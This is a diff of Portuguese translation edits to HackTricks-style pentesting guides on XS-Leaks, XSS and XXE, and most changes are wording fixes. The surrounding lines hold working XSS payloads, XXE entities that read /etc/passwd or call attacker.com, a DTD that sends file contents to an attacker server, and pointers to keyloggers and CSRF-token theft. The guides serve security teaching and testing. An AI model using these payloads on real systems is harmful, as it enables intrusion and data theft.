 - Carregando o conteúdo em um iframe e monitorando eventos de navegação, é possível verificar se a disposição do conteúdo causa um download de arquivo (sem navegação) ou não.
 3. **Navegação de Download sem Iframes**:
-- Semelhante à técnica do iframe, esse método envolve usar `window.open` em vez de um iframe.
+- Semelhante à técnica do iframe, este método envolve usar `window.open` em vez de um iframe.
 - Monitorar eventos de navegação na nova janela aberta pode revelar se um download de arquivo foi acionado (sem navegação) ou se o conteúdo é exibido inline (a navegação ocorre).
 
 Em cenários onde apenas usuários logados podem acionar tais downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador ao pedido de download.
@@ -766,10 +766,10 @@ Em cenários onde apenas usuários logados podem acionar tais downloads, essas t
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Se um site `example.com` incluir um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
+Se um site `example.com` inclui um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
 
 Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache.\
 Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada em cache e medir o tempo que leva**.
@@ -779,7 +779,7 @@ Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Redirecionamentos
 - **Mais informações**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
-- **Resumo:** É possível descobrir se uma resposta a um pedido fetch é um redirecionamento
+- **Resumo:** É possível descobrir se uma resposta a uma solicitação fetch é um redirecionamento
 - **Exemplo de Código**:
 
 ![](<../../images/image (769).png>)
@@ -792,7 +792,7 @@ Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada
 - **Resumo:** É possível tentar carregar um recurso e, antes que ele seja carregado, a carga é interrompida. Dependendo se um erro é acionado, o recurso foi ou não armazenado em cache.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 
-Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o **recurso está armazenado em cache** e para expulsar um recurso específico do cache do navegador. Além disso, o processo ocorre sem armazenar novo conteúdo.
+Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o **recurso está armazenado em cache** e para expulsar um recurso específico do cache do navegador. Além disso, o processo ocorre sem armazenar em cache novo conteúdo.
 
 ### Poluição de Script
 
@@ -810,7 +810,7 @@ Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o
 - **Resumo:** Meça o tempo de execução de uma web usando service workers.
 - **Exemplo de Código**:
 
-No cenário dado, o atacante toma a iniciativa de registrar um **service worker** dentro de um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o **service worker** a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega para a referência obtida na etapa anterior para uma página gerenciada pelo **service worker**.
+No cenário dado, o atacante toma a iniciativa de registrar um **service worker** em um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o **service worker** a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega para a referência obtida na etapa anterior para uma página gerenciada pelo **service worker**.
 
 Ao chegar a solicitação iniciada na etapa anterior, o **service worker** responde com um código de status **204 (Sem Conteúdo)**, efetivamente encerrando o processo de navegação. Neste ponto, o **service worker** captura uma medição do temporizador iniciado anteriormente na etapa dois. Essa medição é influenciada pela duração do JavaScript que causa atrasos no processo de navegação.
 
@@ -822,7 +822,7 @@ Ao chegar a solicitação iniciada na etapa anterior, o **service worker** respo
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
-- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar um pedido. Outros relógios podem ser usados.
+- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
 ### Tempo entre Janelas
@@ -830,13 +830,13 @@ Ao chegar a solicitação iniciada na etapa anterior, o **service worker** respo
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
-- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar um pedido usando `window.open`. Outros relógios podem ser usados.
+- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
 
 ## Com HTML ou Re Injeção
 
-Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos onde por qualquer motivo você pode **injetar HTML, mas não pode injetar código JS**.
+Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos onde, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
 
 ### Marcação Pendente
 
@@ -846,15 +846,15 @@ Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de o
 
 ### Carregamento Preguiçoso de Imagem
 
-Se você precisar **exfiltrar conteúdo** e puder **adicionar HTML antes do segredo**, deve verificar as **técnicas comuns de marcação pendente**.\
+Se você precisa **exfiltrar conteúdo** e pode **adicionar HTML antes do segredo**, deve verificar as **técnicas comuns de marcação pendente**.\
 No entanto, se por qualquer motivo você **DEVE** fazê-lo **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
 
 **Imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**lazy**". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página está carregando:
 ```html
 <img src=/something loading=lazy >
 ```
-Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (Por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
-Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
+Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
+Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que ela seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 Outra opção seria usar o **scroll-to-text-fragment** se permitido:
 
@@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
 
 ### CSS ReDoS
 
-Se `jQuery(location.hash)` for usado, é possível descobrir via tempo **se algum conteúdo HTML existe**, isso porque se o seletor `main[id='site-main']` não corresponder, não precisa verificar o restante dos **seletor**:
+Se `jQuery(location.hash)` for usado, é possível descobrir via tempo **se algum conteúdo HTML existe**, isso porque se o seletor `main[id='site-main']` não corresponder, não é necessário verificar o restante dos **seletor**s:
 ```javascript
 $(
 "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -37,7 +37,7 @@ debugging-client-side-js.md
 
 Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
 
-- **Refletido intermediariamente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderia explorar um **XSS Refletido**.
+- **Refletido intermitentemente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderia explorar um **XSS Refletido**.
 - **Armazenado e refletido**: Se você descobrir que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um **XSS Armazenado**.
 - **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um **DOM XSS**.
 
@@ -56,8 +56,8 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod
 
 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
 2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
-3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
-4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
+3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="**
 
 Exemplo estranho de Angular executando XSS se você controla um nome de classe:
 ```html
@@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
 
 ## Injetando dentro do HTML bruto
 
-Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
+Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
 Para esses casos, também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*ou \*\*\*\*\*\***`--!>`\*\*_
+_**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
 
 Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
 ```html
@@ -226,7 +226,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass de comprimento (pequenos XSS)
+### Length bypass (small XSSs)
 
 > [!NOTE] > **Mais pequenos XSS para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
 ```html
@@ -243,7 +243,7 @@ Se para explorar a vulnerabilidade você precisar que o **usuário clique em um
 
 ### Impossible - Dangling Markup
 
-Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque você pode **explorar** a vulnerabilidade **sem** executar código **JS**.
+Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
 
 ## Injecting inside HTML tag
 
@@ -272,7 +272,7 @@ Outro **exemplo** interessante é o atributo `href`, onde você pode usar o prot
 
 **Bypass dentro do evento usando codificação HTML/URL encode**
 
-Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`
+Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (a carga útil está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`
 
 Note que **qualquer tipo de codificação HTML é válido**:
 ```javascript
@@ -303,7 +303,7 @@ Note que **qualquer tipo de codificação HTML é válido**:
 ```
 ### Protocolos Especiais Dentro do atributo
 
-Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirã interação do usuário e outros não.
+Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário, outros não.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -472,7 +472,7 @@ Nestes casos, sua **entrada** vai ser **refletida dentro do código JS** de um a
 
 ### Escapando a tag \<script>
 
-Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
+Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**Comentários JavaScript (do** [**truque Comentários JavaScript**](#javascript-comments) **)**
+**Comentários JavaScript (do** [**trick de Comentários JavaScript**](#javascript-comments) **)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -753,13 +753,13 @@ Além disso, não se esqueça de que **no final do post mencionado** você pode
 
 ### Cookie XSS
 
-Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
+Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, poderá abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Você pode encontrar um grande abuso dessa técnica em [**este post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Enviando sua sessão para o admin
 
@@ -788,7 +788,7 @@ Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-O par "Key","Value" será retornado assim:
+A dupla "Key","Value" será retornada assim:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com injeção de cabeçalho em uma resposta 302
 
-Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
+Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
 
-Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
+Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
 Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
 
 ### Apenas Letras, Números e Pontos
@@ -1002,7 +1002,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 // our actual module code
 })
 ```
-Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
+Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1230,9 +1230,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS cargas úteis comuns
+## XSS payloads comuns
 
-### Várias cargas úteis em 1
+### Vários payloads em 1
 
 {{#ref}}
 steal-info-js.md
@@ -1388,7 +1388,7 @@ Apenas pesquisando no github, encontrei alguns diferentes:
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- Você também pode usar metasploit `http_javascript_keylogger`
+- Você também pode usar o metasploit `http_javascript_keylogger`
 
 ### Roubo de tokens CSRF
 ```javascript
@@ -1419,13 +1419,13 @@ document.getElementById("message").src += "&"+e.data;
 abusing-service-workers.md
 {{#endref}}
 
-### Acessando Shadow DOM
+### Acessando o Shadow DOM
 
 {{#ref}}
 shadow-dom.md
 {{#endref}}
 
-### Polyglots
+### Poliglotas
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
@@ -1500,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Acesso a Conteúdo Oculto
 
-A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
+A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1559,9 +1559,9 @@ pdf-injection.md
 
 ### XSS em Amp4Email
 
-AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
+O [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
 
 Exemplo [**writeup XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
@@ -1631,7 +1631,7 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
 other-js-tricks.md
 {{#endref}}
 
-## Recursos de XSS
+## Recursos XSS
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -9,8 +9,8 @@ XML é uma linguagem de marcação projetada para armazenamento e transporte de
 - **Representação de Dados através de Entidades**: Entidades em XML permitem a representação de dados, incluindo caracteres especiais como `&lt;` e `&gt;`, que correspondem a `<` e `>` para evitar conflitos com o sistema de tags do XML.
 - **Definindo Elementos XML**: XML permite a definição de tipos de elementos, delineando como os elementos devem ser estruturados e que conteúdo podem conter, variando de qualquer tipo de conteúdo a elementos filhos específicos.
 - **Definição de Tipo de Documento (DTD)**: DTDs são cruciais no XML para definir a estrutura do documento e os tipos de dados que ele pode conter. Eles podem ser internos, externos ou uma combinação, orientando como os documentos são formatados e validados.
-- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os analisadores XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
-- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do analisador, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
+- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os parsers XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
+- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do parser, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
 
@@ -35,7 +35,7 @@ Neste ataque, vou testar se uma simples declaração de nova ENTIDADE está func
 
 Vamos tentar ler `/etc/passwd` de diferentes maneiras. Para Windows, você pode tentar ler: `C:\windows\system32\drivers\etc\hosts`
 
-Neste primeiro caso, note que SYSTEM "_\*\*file:///\*\*etc/passwd_" também funcionará.
+Neste primeiro caso, note que SYSTEM "_**file:///**etc/passwd_" também funcionará.
 ```xml
 <!--?xml version="1.0" ?-->
 <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@@ -108,7 +108,7 @@ Os passos executados por este DTD incluem:
 
 1. **Definição de Entidades de Parâmetro:**
 - Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
-- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
+- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
 2. **Execução de Entidades:**
 - A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
 - A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
@@ -125,7 +125,7 @@ Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro d
 
 ### Baseado em Erro (DTD Externo)
 
-**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
+**Neste caso, vamos fazer com que o servidor carregue um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
 
 Uma mensagem de erro de parsing XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando um Documento Tipo de Definição (DTD) externo malicioso. Isso é realizado através dos seguintes passos:
 
@@ -144,13 +144,13 @@ Ao ser executada, a resposta do servidor web deve incluir uma mensagem de erro e
 
 ![](<../images/image (809).png>)
 
